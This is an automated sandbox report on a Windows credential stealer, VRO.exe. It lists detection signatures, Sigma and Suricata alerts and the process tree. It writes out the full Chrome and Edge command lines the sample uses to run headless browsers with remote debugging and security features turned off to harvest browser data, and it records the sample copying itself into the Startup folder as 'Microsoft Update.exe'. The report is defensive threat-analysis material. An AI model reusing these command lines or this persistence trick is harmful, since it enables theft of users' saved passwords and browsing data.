Edit tour

Windows Analysis Report
VRO.exe

Overview

General Information

Sample name:	VRO.exe
Analysis ID:	1590666
MD5:	27a4ee022e76538e095fd1a9c5b7f615
SHA1:	0efdcef57a7c56a76ad0ec567379bd60c95aeeb1
SHA256:	5b275551f6800f8e73a363facef7835005afe746d15867750560f868f7ea9493
Tags:	bot7711615259exeuser-JAMESWT_MHT
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Attempt to bypass Chrome Application-Bound Encryption

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Multi AV Scanner detection for dropped file

Yara detected Telegram Recon

AI detected suspicious sample

Drops PE files to the startup folder

Drops password protected ZIP file

Sigma detected: Potential Data Stealing Via Chromium Headless Debugging

Tries to harvest and steal browser information (history, passwords, etc)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Execution In Headless Mode

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

VRO.exe (PID: 6948 cmdline: "C:\Users\user\Desktop\VRO.exe" MD5: 27A4EE022E76538E095FD1A9C5B7F615)

chrome.exe (PID: 3084 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9562 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1656 --field-trial-handle=1488,i,16314425066531469225,11487421287566964824,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1984 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9992 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2188 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1604 --field-trial-handle=1416,i,9921731140801761546,7408010498993882837,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 3384 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9651 --user-data-dir="C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 888 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1404 --field-trial-handle=1460,i,10255789939080052098,10160627402443088733,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6176 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9953 --user-data-dir="C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4076 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1984 --field-trial-handle=1924,i,337883984833686401,2949001340945337258,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

Microsoft Update.exe (PID: 2300 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe" MD5: 27A4EE022E76538E095FD1A9C5B7F615)

chrome.exe (PID: 3604 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9616 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6444 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1608 --field-trial-handle=1460,i,3805261518618613516,16454746265131865936,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2032 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9540 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3160 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1624 --field-trial-handle=1464,i,729406190311024372,12238423268301362517,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Desktop\MyApp\svchost.dll	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: VRO.exe PID: 6948	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potential Data Stealing Via Chromium Headless Debugging

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9562 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless, CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9562 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless, CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\VRO.exe", ParentImage: C:\Users\user\Desktop\VRO.exe, ParentProcessId: 6948, ParentProcessName: VRO.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9562 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio

Sigma detected: Browser Execution In Headless Mode

Source: Process started

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9562 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless, CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9562 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless, CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\VRO.exe", ParentImage: C:\Users\user\Desktop\VRO.exe, ParentProcessId: 6948, ParentProcessName: VRO.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9562 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\VRO.exe, ProcessId: 6948, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T13:28:35.736918+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	172.65.251.78	443	TCP
2025-01-14T13:30:53.322143+0100	2028371	3	Unknown Traffic	192.168.2.4	50024	172.65.251.78	443	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T13:30:36.398390+0100	2803305	3	Unknown Traffic	192.168.2.4	50017	172.65.251.78	443	TCP
2025-01-14T13:30:39.078780+0100	2803305	3	Unknown Traffic	192.168.2.4	50018	172.67.74.152	443	TCP
2025-01-14T13:30:39.700530+0100	2803305	3	Unknown Traffic	192.168.2.4	50019	172.67.74.152	443	TCP
2025-01-14T13:30:40.206639+0100	2803305	3	Unknown Traffic	192.168.2.4	50020	208.95.112.1	80	TCP
2025-01-14T13:30:40.859018+0100	2803305	3	Unknown Traffic	192.168.2.4	50021	172.67.74.152	443	TCP
2025-01-14T13:30:41.462545+0100	2803305	3	Unknown Traffic	192.168.2.4	50022	172.67.74.152	443	TCP
2025-01-14T13:30:41.955108+0100	2803305	3	Unknown Traffic	192.168.2.4	50023	208.95.112.1	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Desktop\MyApp\svchost.dll	ReversingLabs: Detection: 21%
Source: C:\Users\user\Desktop\MyApp\svchost.dll	Virustotal: Detection: 20%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A7296F80 BCryptOpenAlgorithmProvider,BCryptOpenAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptDestroyKey,BCryptDestroyKey,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,	0_2_00007FF6A7296F80
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72968C0 BCryptOpenAlgorithmProvider,BCryptOpenAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptDestroyKey,BCryptDestroyKey,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptDestroyKey,BCryptDestroyKey,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,	0_2_00007FF6A72968C0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B6866F80 BCryptOpenAlgorithmProvider,BCryptOpenAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptDestroyKey,BCryptDestroyKey,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,	14_2_00007FF7B6866F80
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B68668C0 BCryptOpenAlgorithmProvider,BCryptOpenAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptDestroyKey,BCryptDestroyKey,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptDestroyKey,BCryptDestroyKey,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,	14_2_00007FF7B68668C0

Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.4:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.4:50024 version: TLS 1.2

Source: VRO.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdbSHA256r source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.ProtectedData/Release/net8.0/System.Security.Cryptography.ProtectedData.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Compression\Release\net8.0-windows\System.IO.Compression.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net6.0/Newtonsoft.Json.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Process\Release\net8.0-windows\System.Diagnostics.Process.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/EntityFramework/Release/netstandard2.1/EntityFramework.pdbSHA256kX source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\dev\sqlite\dotnet-private\System.Data.SQLite\obj\Release\netstandard2.1\System.Data.SQLite.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.bundle_green\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdbSHA256@ source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.ProtectedData/Release/net8.0/System.Security.Cryptography.ProtectedData.pdbSHA256 source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.bundle_green\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Diagnostics.Process.ni.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net6.0/Newtonsoft.Json.pdbSHA256(s source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.provider.e_sqlite3\obj\Release\net6.0\SQLitePCLRaw.provider.e_sqlite3.pdbSHA256 source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.provider.e_sqlite3\obj\Release\net6.0\SQLitePCLRaw.provider.e_sqlite3.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/EntityFramework/Release/netstandard2.1/EntityFramework.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\HK_NAVITE_DLL_v3_OKE\HK\bin\Release\net8.0\win-x64\native\oke.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\cb\cb\cb\bld\bin\e_sqlite3\win\v142\plain\x64\e_sqlite3.pdb source: VRO.exe, 00000000.00000002.2936120727.000001D4CDC00000.00000004.00001000.00020000.00000000.sdmp, e_sqlite3.dll.0.dr
Source:	Binary string: /_/artifacts/obj/System.Management/Release/net8.0-windows/System.Management.pdbSHA256 source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.IO.Compression.ni.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\dev\sqlite\dotnet-private\System.Data.SQLite\obj\Release\netstandard2.1\System.Data.SQLite.pdbSHA256 source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp
